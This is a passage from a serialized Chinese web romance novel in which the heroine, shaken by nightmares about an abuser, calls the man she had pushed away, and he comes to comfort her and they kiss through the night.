她一边指导着薛酒,一边偷偷用余光打量盛景炎。 他正低头捏着一个面团,手指灵活地转动,仿佛在专注创作,可那微微蹙起的眉头和略显落寞的神情,却暴露了他此刻的情绪。 许愿的心再次揪紧,她不知道自己该如何面对这份突如其来的心动。 厨房里的暧昧氛围并未因薛酒的介入而消散,反而变得更加微妙。 许愿压制着自己乱跳的心脏,伸手轻轻按住薛酒握擀面杖的手:“手腕要放松,跟着我的动作来。”温热的指尖覆在薛酒手背上,带着奇妙的安抚力量。 薛酒乖乖跟着许愿的节奏调整动作。随着擀面杖的转动,面皮渐渐变得圆润平整,薛酒眼中闪过一丝惊喜,嘴角不自觉地微微上扬,却又立刻板起脸,装作若无其事的样子。 盛景炎目光落在许愿身上,仍然是笑吟吟的,他好像本来也没想许愿现在就给他回应。 因为真的太快了。 他会给够许愿足够的时间去思考。 厨房里的气氛渐渐变得奇妙起来。 薛酒包出的饺子奇形怪状,有的像包子,有的像汤圆,他却不肯认输,梗着脖子说:“这叫创意饺子!” 盛景炎被逗得笑出声,递给他一个捏得歪歪扭扭的饺子:“你的这个像外星飞船。” 薛酒瞪他一眼,却忍不住跟着笑出了声,连他自己都没察觉,紧绷的肩膀已经放松了下来。 剑拔弩张的感觉已经不见了,此刻薛酒难得看盛景炎有点顺眼了。 许愿却在此刻可以缓和下自己的情绪,起码不用被盛景炎一直这样刺激了。 第1148章 噩梦 温栩栩回到房间,像被抽尽了力气般扑倒在床上,柔软的被褥深深凹陷下去,仿佛要将她整个人吞噬。 窗外的月光如银纱般洒落,却照不亮她此刻混沌如墨的心房。 她闭上眼,可黑暗的幕布下,黎云笙的身影却愈发清晰,如影随形地缠绕着她的思绪,一遍又一遍地浮现,他低垂的眉眼,他温热的呼吸,他指尖掠过她脸颊时的微颤,还有他最后决然转身时,那冰冷如刃的眼神。 她其实不明白,为什么明明才亲密接触过,黎云笙就能对自己说出那样伤人的话。 记忆如潮水般汹涌而来,她不停的想到黎云笙是怎样抱住自己亲吻的时候,黎云笙胸膛的温热透过薄衫传来,他的唇瓣轻轻擦过她的耳畔,声音低沉如醇酒的开口:“温栩栩,你想要的,我都会给你。” 她记得自己当时心跳如擂鼓,脸颊滚烫,甚至能闻到他身上清冽的松木香,那气息仿佛带着蛊惑人心的魔力,让她几乎沉溺其中。 可下一秒,他却又像变了一个人,眼神骤冷,语气如冰:“你以为你逃得掉吗?” 那一字一句的话语如利箭刺穿她的心脏,酸涩的痛楚在喉间翻滚,她甚至能尝到泪水的咸涩。 她满脑子想的都是“怎么能这样,怎么可以这样,为什么要这么残忍”。 指尖无意识地攥紧被角,指节因用力而发白,仿佛要将所有痛苦都揉进那柔软的布料里。 可下一秒,黎云笙那句“这不是你想要的吗”又如同魔咒般在耳畔响起,反复叩击着她的灵魂。 是啊,是她想要的,是她想要远离黎云笙。 是她曾在无数个深夜辗转反侧时,下定决心要过普通人的生活,是她让他放自己走的。可为什么此刻心里会这样难过?心脏仿佛被一只无形的手攥紧,每一次跳动都牵扯着尖锐的痛,连呼吸都变得艰涩。 她蜷缩在床角,将脸埋进枕头里,试图用棉絮的柔软隔绝那些纷乱的思绪。 可记忆却愈发清晰,那暧昧的亲吻,他指尖在她腰间游走时激起的颤栗,他贴近时温热的吐息,仿佛带着电流般窜过她的全身。 那些瞬间的甜蜜如蜜糖般黏稠,却又在黎云笙冰冷的离开后,化作玻璃碎片,扎得她鲜血淋漓。 她想起他转身时决绝的背影,仿佛一道冰冷的墙,将所有的温情都隔绝在外。 那背影与此刻窗外的夜色融为一体,压得她几乎喘不过气来。 温栩栩在回忆的漩涡中翻腾,却忽然被一阵寒意惊醒。 冷汗浸湿了后背,她猛地睁开眼,才发现自己竟在梦中。 梦里,黎远航的脸在黑暗中扭曲放大,他布满血丝的眼睛泛着野兽般的光,粗糙的手掌掐住她的手腕,将她按在冰冷的墙壁上。“你以为你能逃得掉?”他的声音沙哑如砂纸摩擦,带着令人窒息的压迫感。 她拼命挣扎,却像被困在蛛网中的蝴蝶,越是挣扎,束缚越是收紧。那噩梦真实得令人心颤,黎远航的呼吸喷在她脖颈上,带着腐朽的腥气,她甚至能感受到他指尖的力道,几乎要将她的骨头捏碎。 每一次从噩梦中惊醒,温栩栩都浑身颤抖,冷汗如雨般滑落,浸湿了睡衣。 她蜷缩在床角,像一只受惊的小兽,指尖深深掐进掌心,试图用疼痛来驱散梦魇的余悸。 窗外的月光依旧清冷,却仿佛染上了一层血色,映照着她惨白的脸。 她想起黎远航那张扭曲的脸,想起他曾经对她的觊觎与纠缠,那些压抑在心底的记忆如毒藤般疯长,缠绕着她的喉咙,让她几乎窒息。 不知第几次惊醒后,温栩栩再也无法在床上躺下去。 她挣扎着从床上爬起来,双腿因长时间的蜷缩而酸软发麻,每一步都像踩在棉花上。 喉间干涩难耐,仿佛被砂砾摩擦过,她踉跄着走到窗边,指尖颤抖着拉开窗帘。 月光倾泻而入,照亮了她的脸,也照亮了她眼中浓得化不开的疲惫与痛苦。 窗外,夜色如墨,霓虹灯在远处闪烁,像散落的星子,却又带着一种虚幻的孤寂。 她深吸一口气,试图平复狂跳的心,可胸口却像压着千斤重的巨石,每一次呼吸都带着钝痛。 黎云笙的冷漠与黎远航的噩梦在脑海中交织,如两股纠缠的黑色漩涡,将她拖入深渊。 她不明白,为什么自己明明想要逃离,却偏偏被这两股力量撕扯得遍体鳞伤。 她曾以为离开黎云笙就能过上平静的生活,可此刻才发现,那些被他点燃的渴望与悸动,早已在她心底生根发芽,无法拔除。 温栩栩的手掌按在冰凉的玻璃上,指尖的温度渐渐被寒气吞噬。 她望着自己的倒影映在玻璃上,那面容憔悴,眼神空洞,仿佛被抽走了灵魂。 她想起黎云笙最后离开时的眼神,那眼神里没有不舍,没有留恋,只有冰冷的决绝。可为什么,在他说出那句“这不是你想要的吗”时,她的心会痛得几乎裂开? 难道她真的错了? 她想要的,究竟是远离他的平静,还是那份明知危险却仍无法抗拒的悸动? 夜风从窗帘的缝隙中钻进来,拂过她的发丝,带来一丝凉意。 她忽然想起,黎云笙曾在她发间落下的那个吻,轻柔如羽毛,却让她浑身战栗。 那时的他,眼神温柔得能滴出水来,仿佛她是他捧在手心的珍宝。可转眼间,他却能用同样冰冷的眼神看着她,说出最伤人的话。这巨大的反差,让她觉得自己仿佛被戏耍的小丑,在爱与痛的边缘反复跌宕。 温栩栩的心绪如乱麻般纷乱难耐。 她既害怕黎远航的纠缠与威胁,又无法释怀黎云笙的冷漠与伤害。 她曾以为自己是清醒的,是坚定的,可此刻才发现,自己早已深陷其中,无法抽身。 她闭上眼,试图将那些纷乱的画面从脑海中驱赶出去,可黎云笙的声音却如幽灵般在耳畔回响:“温栩栩,你逃不掉的。” 那声音带着某种宿命般的笃定,让她浑身发冷。 第1149章 你陪陪我好不好 温栩栩怔怔地站在窗边,指尖仍残留着玻璃的寒意。 突然,一道熟悉的车影闯入视线,那辆黑色的迈巴赫,车身线条流畅如暗夜中的猎豹,车牌号码如烙铁般刻在她的记忆里。 是黎云笙的车,她绝不会认错。 她的呼吸骤然一滞,瞳孔微微收缩,心脏仿佛被一只无形的手攥紧。 怎么会是他?他怎么会出现在这里? 无数个疑问如泡沫般在脑海中翻涌,却来不及抓住任何一个。 她下意识地后退半步,指尖攥紧了窗帘边缘,仿佛要借此稳住自己颤抖的身体。 可下一秒,她眼睁睁地看着那个身影从车上下来。 黎云笙站在路灯下,光影为他勾勒出轮廓分明的剪影。 他穿着深灰色的风衣,领口微微敞开,露出里面褶皱的衬衫,仿佛经历过漫长的奔波。 他的发丝略显凌乱,几缕碎发垂落在额前,遮住了部分眉眼,却挡不住眼底的倦色。 风掀起他的衣角,他整个人仿佛带着满身的风霜,每一步都踏得沉重而坚定,仿佛穿越了千山万水,只为抵达此处。 温栩栩的喉咙像是被什么哽住了,发不出一点声音。 她看着他仰头望向她的窗口,目光如炬,穿透了黑暗,也穿透了玻璃的阻隔。 那眼神里不再有往日的冰冷与决绝,取而代之的是一种难以言喻的复杂情绪,疲惫、执着、还有一丝她读不懂的温柔。 她的手指无意识地收紧,窗帘的布料在指缝间皱成一团,心跳如擂鼓般轰鸣,几乎要冲破胸腔。 他为什么回来? 是为了继续那场未结束的争吵,还是为了…… 她不敢深想,生怕希望如泡沫般轻易破碎。 她觉得自己真的有病,不想跟黎云笙继续纠缠,可是看到黎云笙真的来了,也会完全控制不住自己的内心。 可他的身影像一根刺,牢牢扎进她的眼底,拔不出来。 她想起那些被他点燃的渴望与悸动,想起他决然离开时的背影,想起噩梦中的窒息与挣扎。 此刻,他带着满身风霜归来,仿佛要将所有未说尽的话语、未理清的纠葛,都揉进这暗夜的重逢里。 黎云笙的脚步停在楼下,仰头凝视着她的窗口,仿佛要将她的身影刻进灵魂深处。 风掠过他的发梢,他却浑然不觉,只是定定地站着,如同一尊被时光凝固的雕塑。 温栩栩的心尖颤抖,她几乎要伸手推开窗户,问问他为何而来。 他只是抬头望着她的方向,并没有进酒店,似乎没打算真的去见他。 温栩栩的身体在此刻已经开始止不住的颤抖。 温栩栩终于忍不住推开窗户,风灌进来,吹散了她的发丝,也吹散了最后一丝犹豫。 她探出头,望着楼下那道熟悉的身影。 黎云笙站在路灯下,光影在他身上流淌,一半明亮,一半隐没在阴影里。 风掠过他的发梢,衣角被掀起又落下。 她想说点什么,喉咙却像被无形的丝线缠绕,发不出声音。 她知道,此刻开口,黎云笙也是什么都听不到的。夜色太深,距离太远,他们之间横亘的不仅是物理的阻隔,还有那些未言明的心事与裂痕。 她唇瓣轻微颤抖着,指尖在睡衣口袋里摸索,终于触到那部冰凉的手机。 解锁,拨号,动作机械得仿佛被某种无形的力量牵引。 电话那头传来漫长的等待音,每一声“嘟——”都像敲击在她心跳的间隙。 明明没有过很久,可再度听到男人声音的瞬间,心神依旧恍惚如坠云雾。 他的嗓音低沉,带着深夜特有的沙哑:“喂?”那声音穿过电流,却仿佛贴着耳畔响起,温栩栩怔在原地,掌心还残留着推开窗户时的力道,指尖冰凉,仿佛连血液都被冻结。 两人都没有主动开口说话,只能听到彼此的呼吸声。 她的呼吸急促而凌乱,像被梦魇追逐的猎物,而他的呼吸则沉稳中带着倦意,仿佛穿越了千山万水才抵达此处。 寂静在电话线中蔓延,如一张绷紧的蛛网,将两人困在各自的心茧里。温栩栩的指尖无意识地捏住窗帘边缘,丝绸布料在指缝间皱成一团,仿佛要借此抓住一丝真实。 最终还是温栩栩率先开口。 她喉间干涩,声音像被砂纸摩擦过:“黎云笙,我一直在做噩梦……我不知道现在是几点,是什么时间。可能天已经快亮了,可我一直不停地在做噩梦。” 话语出口的瞬间,泪水突然涌上眼眶,她慌忙仰头,不让它们坠落。 虽然没有说噩梦的内容,但黎云笙多半也能想到跟黎远航有关。 那些梦魇如毒藤般缠绕着她,黎远航扭曲的脸、窒息的压迫感、腐朽的腥气……每一次惊醒,冷汗都浸湿后背,仿佛要将她拖入深渊。 黎云笙依旧沉默。 她捏窗帘的手微微用力,布料几乎要被揉碎。片刻后,她声音颤抖着开口:“我好像……有点后悔了。” 后悔什么? 后悔说自己想要过普通人的生活,后悔让黎云笙离自己远一些。 她是这样想的,但真正说出口的却是:“我可以暂时后悔一晚吗?”声音轻得像一片羽毛,随时会被夜风卷走。 “黎云笙,我很害怕……”她吞咽下喉间的酸涩,声音破碎如瓷,“你陪陪我好不好?”她在示弱。 明明他们之间的关系并没有很亲近,最多也就是亲吻过的关系,可她就是觉得在黎云笙面前示弱好像并不是什么难事。 好像就是有一种不管自己怎样无理取闹,最终黎云笙都会包容自己的错觉。 这错觉从何而来?是那次他环住她时温热的胸膛,还是他眼底曾闪烁过的温柔? 她不知道,也不敢深想。 黎云笙似是也没想到温栩栩会这样说。 电话那头传来短暂的寂静,只能听见他略显急促的呼吸声。 他怔了片刻,嗓音带着点哑意开口:“可以。”那声音仿佛带着某种重量,压得温栩栩的心尖微颤。 可以,说的是可以暂时后悔一晚,也说的是可以陪她。 第1150章 你上来陪一陪我,好不好 她不知道此刻黎云笙这句“可以”背后藏着什么,是怜悯,是旧情未了,还是别的什么。 但此刻,她只想抓住这缕微光,哪怕它转瞬即逝。 温栩栩闭上眼,泪水终于滑落,悄无声息地砸在手机屏幕上,晕开一小片水痕。 她想起那些噩梦中的窒息感,想起黎远航的威胁如影随形,想起自己曾坚定地推开黎云笙时,内心的疼痛。 所谓的“普通生活”并非她想象中的平静港湾,而是另一场暴风雨的序幕。 她曾以为逃离黎云笙就能获得安宁,却发现自己早已被卷入他与黎远航的漩涡,无法脱身。 此刻,她终于承认自己的脆弱,她需要黎云笙。 黎云笙的声音再次响起,低沉而缓慢:“温栩栩,你还在吗?” 温栩栩猛地睁开眼,慌乱地抹去泪水:“在……我在。”她听见他轻笑一声,那笑里带着无奈与疲惫:“别怕,我在这里。”简单的几个字,却像暖流注入她冰冷的心房。 她攥紧手机,仿佛要借此汲取他的温度。 窗外的夜色依旧浓重,但此刻,那黑暗不再令人窒息,因为电话那头,有个人在陪着她,哪怕隔着看不见的距离。 温栩栩蜷缩在窗边的沙发上,将脸埋进臂弯,泪水浸湿了衣袖。 她不再说话,却也不愿挂断电话。 她知道,这片刻的安宁是偷来的,是建立在“暂时后悔”的脆弱承诺上。 但此刻,她甘愿沉溺其中,至少在这深夜的絮语里,她不必独自面对那些吞噬灵魂的梦魇。 “你上来陪一陪我,好不好。”温栩栩自己根本察觉不到自己此刻的脆弱,声音都好像是在颤抖。 她蜷缩在窗边的沙发上,指尖深深陷进抱枕的绒毛里,仿佛要抓住最后一丝安稳。 不要靠着手机的陪伴,上来陪一陪她,好不好。 这句话出口的瞬间,她仿佛被剥去了所有伪装的盔甲,露出最柔软的、带着伤口的内里。 窗外的夜色依旧浓重,可她觉得冷,一种从骨髓里渗出的冷,仿佛连呼吸都带着寒意。 噩梦的余悸还在啃噬着她的神经,黎远航那张扭曲的脸、那令人窒息的压迫感,如同附骨之疽,无论她如何挣扎都挥之不去。 她需要真实的温度,需要黎云笙的气息,需要他站在她面前,告诉她一切都会过去。 黎云笙握紧手机,因为她的这句话,心绪骤然翻涌如潮。指节泛白,手机边缘硌进掌心的纹路,他却浑然不觉。 他今晚为什么会来这里?是因为不放心。 纵然他整治了黎远航,废了他的手,可那份担忧却如藤蔓般缠绕不休。他自认不是什么善人,商场上的厮杀、家族里的争斗,他向来手段凌厉,从不手软。 可只要想到温栩栩当时看他的眼神,那双清澈的眸子里盛满了震惊与酸涩,仿佛被最锋利的刀刃刺穿,他的心便如浸在酸液中,痛得难以呼吸。 开车的路上,思绪如乱麻,满脑子都是温栩栩问他:“为什么会这么狠心?” 他反复咀嚼着这个问题,喉间干涩。 怎么能不狠心一点呢?这一切不是你想要的吗? 如果不狠心,你要怎么远离黎家?如果不狠心,我还怎么舍得放你离开呢? 他深知,自己的狠厉是是推开她、走向“普通生活”的必经之路。可这把钥匙,却也在无形中割伤了他自己的掌心。 他也没想到来到这里,会看到被噩梦惊醒的温栩栩。 那扇窗里透出的微弱灯光,像黑暗中一盏摇曳的烛火,随时可能熄灭。 他仰头凝视,看见她苍白如纸的脸,凌乱的发丝,还有那双泛着红血丝的眼睛,那眼神里盛满了惶恐与无助,像一只被暴风雨击落的雏鸟,颤抖着蜷缩在枝头。 那一刻,黎云笙就猜到了原因。 黎远航的阴影如毒雾般笼罩着她,即便自己已出手惩治,那残留的恐惧却依旧在啃噬她的灵魂。 他内心的恨意如火山般喷涌,甚至觉得自己今晚不够狠。 他攥紧拳头,指节发出清脆的声响。就该彻底废掉黎远航,不止废掉他的手,更应该废掉他的腿,让他永世不得翻身,再也无法靠近温栩栩半步! 温栩栩蜷缩的姿势愈发紧绷,仿佛要将整个身体缩成一团。 她盯着手机屏幕,仿佛那方寸之地能传递黎云笙的温度。 喉间干涩难耐,她吞咽着,却尝到了泪水的咸涩。 她知道自己的请求或许越界了,他们之间本不该如此亲近。 可恐惧如潮水般将她淹没,她需要一个锚点,而黎云笙,就是她此刻能抓住的唯一浮木。 她甚至不敢去想,黎云笙是否会拒绝。她害怕那声拒绝会将她彻底推入深渊。 黎云笙的呼吸急促而沉重,胸腔里翻涌的情绪几乎要冲破喉咙。 他低头看向自己的掌心,那里还残留着整治黎远航时沾染的血腥气。那气息此刻如诅咒般缠绕着他,提醒他自己的狠辣。 可温栩栩的脆弱,却让他所有的狠厉瞬间土崩瓦解。 他抬头,再次望向那扇窗。温栩栩的身影模糊在光影中,却清晰地刻进他的眼底。 他忽然意识到,自己所谓的“狠心”,所谓的“放她离开”,不过是为了将她推离风暴中心的借口。而真正的他,根本无法眼睁睁看着她独自承受恐惧。 他转身,大步走向酒店。每一步都带着决然,仿佛踏碎了所有犹豫与自我欺骗。 电梯上升的“叮咚”声在寂静中格外清晰,他的心跳与之共振,越来越快。 他知道,这一上去,或许会打破所有未言明的界限,或许会让自己陷入更深的泥潭。但他无法拒绝,无法放任她独自在黑暗中颤抖。 温栩栩听见了门铃声,心跳几乎停滞。 她猛然起身,发丝凌乱地散落肩头,拖鞋在地板上发出急促的声响。 打开门的瞬间,黎云笙的气息扑面而来。 他站在门外,风衣上还沾着夜露的湿气,眉宇间凝着未散的冷意,可看向她的眼神却柔软得惊人。 她怔住了,嘴唇颤抖着,却发不出声音。 第1151章 我想让你亲亲我 黎云笙伸手,指尖轻轻拂过她脸颊上的泪痕,动作温柔得仿佛怕碰碎瓷器。“别怕。”他的声音低沉,带着安抚的魔力。 温栩栩的眼眶再次发热,泪水如断线的珠子滚落。她忽然扑进他怀里,双臂紧紧环住他的腰,仿佛要将所有的恐惧与无助都倾泻而出。 黎云笙的身体僵了一瞬,随即轻轻回抱住她,手掌抚过她的发丝,一下又一下,如同在安抚一只受伤的幼兽。 房间内,两人沉默相拥。 黎云笙能感受到温栩栩身体的颤抖,那细微的震颤透过衣料传来,揪着他的心。 他低头,看见她颈间还残留着梦魇中挣扎出的红痕,像是被荆棘划过的伤口。 恨意再次翻涌,他收紧手臂,仿佛要将她护进自己的骨骼里。温栩栩的声音闷闷地从他怀中传出:“我以为……再也见不到你了。” 黎云笙喉间一哽,却无法回答。他如何能说,那些狠话不过是保护她的盾牌?他只能更紧地抱住她,将所有的酸涩与愧疚,都揉进这个拥抱里。 温栩栩赖在他的怀里,整个人的身体都还在轻微的颤抖,仿佛一只刚逃离风暴的幼鸟,羽毛凌乱,翅膀仍带着潮气。 黎云笙将人完全拥进怀中,手臂收紧的力道带着不容拒绝的温柔,仿佛要将她揉进自己的骨血里。 温栩栩能感觉到他的怀抱有多温暖,那温度如春日融雪,悄无声息地渗进她冰凉的肌肤,仿佛在此刻已经完全驱散了黎远航给予的那些伤害。 他的胸膛坚实而温热,心跳声透过衣料传来,一下,又一下,像沉稳的鼓点,敲击在她耳边,也敲击在她慌乱的心尖上。 她贪恋这温度,贪恋这安稳,仿佛溺水之人抓住了浮木,不愿放手。 她抬头看向他,睫毛上还挂着未干的泪珠,闪烁着碎金般的光。 她的声音带着一丝不易察觉的颤抖,像是风中摇曳的烛火:“我今晚说的话……可不可以暂时不算数。” 黎云笙愣了下,似是没反应过来,眉峰微挑,喉间溢出一声疑惑的“什么?”。 温栩栩的指尖轻轻抚上他胸前的衣襟,布料在指下微微褶皱,她贴过去,吻在他唇上,动作轻柔得如同蝴蝶振翅,“暂时不结束我们之间那段奇怪的关系……明天在结束好不好?” 她停顿片刻,声音低了几分,却带着一种直白的诚恳,甚至透着几分难以言喻的可爱:“我想让你亲亲我。” 她就这样直白的说出来,没有羞涩的躲闪,没有暧昧的迂回,仿佛将心底最柔软的渴望赤裸裸地捧到他面前。 黎云笙喉结微微滚动,吞咽下喉间的燥热,看她的眼神也深了几分,瞳孔中仿佛燃起了一簇幽蓝的火苗。 他凝视着她,仿佛要将她此刻的每一个表情、每一个颤动的睫毛都刻进骨髓里。 片刻后不等温栩栩再回话,他已经骤然扣住她后脑吻了过去。 指尖嵌入她柔软的发丝,力道带着不容抗拒的霸道,却又在触及她肌肤的瞬间化作缠绵的温柔。 起初是温情的缠绵的吻,他的唇瓣轻轻摩挲着她的,如同春风吹拂初绽的花瓣,带着试探与珍重。 温栩栩的呼吸一滞,身体微微僵直,随即又软了下来,仿佛被这温柔融化了最后一丝防备。 她闭上眼,睫毛轻颤,回应着他的触碰,唇齿间溢出一声低低的呜咽,像是满足,又像是渴望更多的叹息。 黎云笙的吻逐渐加深,从唇瓣蔓延至下颌,再到颈侧,温热的呼吸喷洒在她敏感的肌肤上,激起一阵战栗。 他的舌尖撬开她的齿关,掠夺般深入,仿佛要将她所有的恐惧与不安都吻去,只留下彼此交缠的气息。 从全是温情的缠绵的吻到后面几乎是完全掠夺一般的热烈的亲吻,温栩栩整个人都能感觉到自己好像完全挂在男人怀里,腰肢被完全搂抱住,只能无力的回应着男人此刻热切的亲吻。 他的手掌从腰侧滑至后背,指尖沿着脊柱的线条缓缓游走,所过之处,肌肤泛起一片酥麻。 她攀住他的脖颈,十指紧扣,仿佛这是他给予她的唯一支点。 喜欢。 好喜欢这种感觉。 他的气息、他的温度、他唇齿间霸道的温柔,都让她沉溺其中,无法自拔。 仿佛在此刻,彼此之间都贴的更近,能听到彼此之间更清晰的心跳声。 “砰砰”的声音在寂静的房间里格外清晰,像是两簇火焰在胸腔里燃烧,频率逐渐同步,交织成一首无声的乐章,也让她身体都开始发热,脸颊染上绯红,仿佛醉酒般晕眩。 两条手臂也已经不受控制的抱住男人的脖子,继续回应他的亲吻。 彼此之间互相索取,唇舌交缠间,津液交融,发出暧昧的声响。 黎云笙的吻愈发炽烈,带着压抑许久的渴望,仿佛要将所有未言说的眷恋都倾注其中。 他的拇指摩挲着她耳后的肌肤,那里有一片敏感的红,像是被情欲染上的印记。 温栩栩的呼吸愈发急促,身体在他的怀里轻轻扭动,无意识地迎合着他的节奏,喉间溢出的呻吟被他尽数吞下,化作更深的掠夺。 房间里的空气仿佛被点燃,温度攀升,窗帘缝隙中透进的晨光,将两人的影子拉长在墙壁上,纠缠不清,仿佛连影子都在诉说着此刻的缱绻。 黎云笙的手掌滑至她腰际,微微用力,将她更紧地按向自己。 温栩栩能清晰感受到他身体的反应,那坚硬如铁的轮廓抵着她,灼热的温度透过布料传来,让她心跳愈发急促。 她睁开迷蒙的双眼,看向他,眼底泛着水光,像是被情欲浸透的琉璃。 黎云笙的眼底早已褪去平日里的冷峻,取而代之的是浓得化不开的欲念,仿佛要将她吞吃入腹。 他低头,再次吻住她的唇,这次的吻带着近乎暴烈的占有欲,唇齿间碾磨着,仿佛在确认她的存在,又仿佛在宣告自己的所有权。 第1152章 亲了一整晚? 温栩栩的双手在他背上抓出几道红痕,却丝毫无法阻挡他的攻势,反而激起了他更深的渴望。 温栩栩轻微喘息着,胸腔起伏间,空气裹挟着黎云笙身上清冽的气息涌入鼻腔,仿佛带着某种蛊惑。 她从未与谁如此亲密过,记忆中与他最亲密的触碰,也不过是指尖短暂的相碰,或是擦肩时衣料轻拂的刹那。可此刻的亲吻,却如潮水般将她淹没。 他的唇瓣霸道而温柔地碾过她的,舌尖撬开齿关的侵略感,让她恍惚间生出一种自己可能会被黎云笙亲吻的时候完全吞之入腹的错觉。仿佛自己在此刻完全变成了他的猎物,被禁锢在他怀中,无路可逃。可那慌乱中竟又夹杂着一丝甘甜,她贪恋这窒息般的亲密,贪恋他掌心抚过发丝时的温柔,贪恋他胸膛传来的、如擂鼓般的心跳声。那心跳声与她的交织缠绕,竟让心底残留的恐惧如晨雾般被一点点驱散。 被他这样亲吻拥抱着,黎云笙的体温仿佛融化了昨夜噩梦留下的寒冰。 她渐渐忘记了黎远航那张狰狞的脸,忘记了那些如毒蛇般缠绕的窒息感。 此刻的世界里,只剩眼前这个男人。 他的眉峰微蹙着,眼底燃烧着灼热的火焰,却又在触碰她时化作无尽的温柔。 他的吻从唇瓣蔓延至耳畔,湿热的呼吸喷洒在颈侧,激起一阵颤栗。温栩栩的指尖无意识地揪住他胸前的衣襟,布料在指下褶皱,如同她此刻凌乱的心跳。她闭上眼,睫毛轻颤,仿佛要将自己所有的不安与渴望都交付给这个吻。 窗外的天色不知何时已悄然变化,暗夜褪去,天边泛起一抹柔和的霞光,透过窗帘的缝隙洒在两人身上,镀上一层朦胧的金边。 黎云笙的吻愈发炽烈,带着压抑许久的渴望。 晨光渐亮,阳光穿透云层,将窗帘映得透亮。 “黎云笙……”温栩栩的声音带着一丝沙哑,指尖轻轻抚过他胸前的衣襟,布料在指下微微褶皱。 她贪恋地汲取着他身上的温度,仿佛要将昨夜所有的恐惧都驱散。 黎云笙的喉间溢出一声低笑,那笑声带着满足与纵容,他再次吻住她,这次的动作轻柔得如同对待稀世珍宝:“我在。” 简单的两个字,却仿佛带着某种安心的魔力,让温栩栩的心尖一颤。她攀着他的脖颈,身体随着他的节奏起伏,唇齿间的纠缠愈发紧密,仿佛要将灵魂都交付给对方。 阳光洒在他们身上,暖意渗透肌肤,仿佛连空气都变得黏稠而甜蜜。 此刻的暧昧与缠绵,早已超越了言语的界限。他们之间无需承诺,无需解释,只有彼此交缠的呼吸、炽热的体温,以及那共振的心跳,诉说着最原始的渴望与依赖。 窗外的晨光愈发明亮,驱散了最后一丝夜色。 天色已经彻底亮了,晨光如薄纱般铺满整个房间,温栩栩望着窗外澄澈的天空,甚至有些怔然。 她低头瞥见黎云笙的衬衫,几颗纽扣早已被扯开,其中一颗纽扣不知何时被揪掉,正孤零零地躺在床边。 她惊愕地凝视着窗外,又看了看衣衫不整的黎云笙,脸颊泛起一抹淡淡的红晕,仿佛被晨光灼烫了一般。 “我们……亲了一整晚?”她喃喃自语,声音带着一丝难以置信的颤抖。 这太离谱了。 温栩栩简直不敢相信自己竟然真的这么生猛,亲了一整晚…… 她说这句话的时候,仍被他压制在身下,那双眼睛带着点微微的发红,倒不是被欺负的,而是被刺激的,带着点点水汽,说这句话时眼睛像是瞪得更大了,仿佛要将这荒谬的事实重新审视一遍。 黎云笙只是静静看着,就觉得温栩栩的眼睛真的很漂亮,像是他曾经收藏过的最昂贵漂亮的琉璃石。 不,温栩栩的眼睛比那颗琉璃石更灵动,更鲜活,仿佛盛着整个晨曦的柔光。 他听着温栩栩问出这样一句天真到有点可爱的话,眉宇之间的柔色更深,嘴角勾起一抹浅笑。 他俯身,吻轻轻落在她眼睫边,好像是想亲一亲她的眼睛一般,甚至带着点虔诚的意味儿。 温热的呼吸拂过她敏感的肌肤,温栩栩被他这样的亲吻烫得内心酸酸涨涨的,仿佛有暖流在胸腔里悄然蔓延,连指尖都微微发颤。 “没有一整晚,我是凌晨四五点左右来的这里。”黎云笙的声音低沉而沙哑,带着未褪的情欲尾音,他停顿片刻,指尖抚过她泛红的耳垂,嗓音愈发温柔,“你一定要用时间来算,大概就是两个小时。” 亲了两个小时也很久的啊! 温栩栩惊愕之余,耳边突然响起手机闹铃的清脆声响,她猛地想起自己今天上午还要拍戏,这个时间要起床洗漱上妆了。 她伸出手,指尖轻轻点了点黎云笙的手背,声音带着一丝慵懒的娇嗔:“我要起床了。” 她这样开口,黎云笙有什么不懂的? 他握住温栩栩的手,却没有把人放开。 掌心传来的温度仿佛要将她再次拉入怀中。 他另一只手抚上温栩栩的眉梢,指腹轻轻摩挲着她眼下淡淡的青影,语气里带着一丝不容置疑的关切:“你今天还有心情拍戏?都已经有黑眼圈了,还不打算好好休息?” 他明明是在关心,可温栩栩听到这话,整个人几乎都要跳起来。 她竟然有黑眼圈? 不可能绝对不可能! 她向来引以为傲的肌肤细腻如瓷,怎会有黑眼圈? “不可能,我才不会有黑眼圈!”温栩栩说这话的时候,还带着点骄傲,仿佛这是她不容置疑的事实,声音里透着对自己容貌和体质的自信,甚至带着一丝少女的逞强。 她倏然坐起身,随手抓起梳妆台上的小镜子,对着自己的脸仔细端详起来,动作急切得仿佛要立刻推翻黎云笙的结论。 能明显看到自己肌肤泛着淡淡的粉白,根本没有黑眼圈,只是脸色有点苍白。 第1153章 白天了,梦醒了 就是说吧,她现在这么年轻,怎么可能一晚没好好休息就有黑眼圈的。 黎云笙倚在床头,衬衫半敞,露出精壮的胸膛,晨光为他镀上一层金边,仿佛一尊慵懒的俊美神祇。他凝视着她的反应,眼底的笑意愈发深邃,仿佛早已预料到她的反应。 “昨晚睡得不安稳?”黎云笙的声音愈发柔和,带着一种安抚的魔力。 他伸手将她散落的发丝别到耳后,指尖若有似无地划过她的颈侧,温栩栩的身体微微一僵,她抿了抿唇,想起昨夜被噩梦惊醒时的无助,以及黎云笙及时出现的温暖怀抱,心底的依赖如藤蔓般悄然蔓延。 她不愿承认自己的脆弱,却忍不住在他温柔的目光下软化,轻声嘟囔:“做了个噩梦……后来就好了。” 黎云笙的眸色深了几分,眼底掠过一抹心疼。 他自然知道那噩梦的源头是谁。 昨夜他赶来时,看到的正是她脆弱无助的模样,让他恨不得将黎远航彻底碾碎。 此刻,他将她重新揽入怀中,下巴抵在她发顶,声音低沉而坚定:“以后不会了。” 温栩栩靠在他怀里,听着他胸膛传来的沉稳心跳,她贪恋这温暖,贪恋这安稳,贪恋他给予的安全感。 她闭上眼,睫毛轻颤,指尖不自觉地揪住他胸前的衣襟,布料在指下微微褶皱,如同她此刻凌乱却安定的心跳。 “我要去拍戏了。”温栩栩又开口,声音里带着一丝不易察觉的倔强。她转身欲走,发梢却掠过黎云笙的手背,留下一缕若有似无的馨香。 黎云笙的眉峰微蹙,语气里透露出几分无奈,仿佛叹息般轻声道:“我不是说了,你都要有黑眼圈了?”他凝视着她,眼底的担忧如墨色般浓稠,仿佛要将她此刻的疲惫尽数揽入怀中。 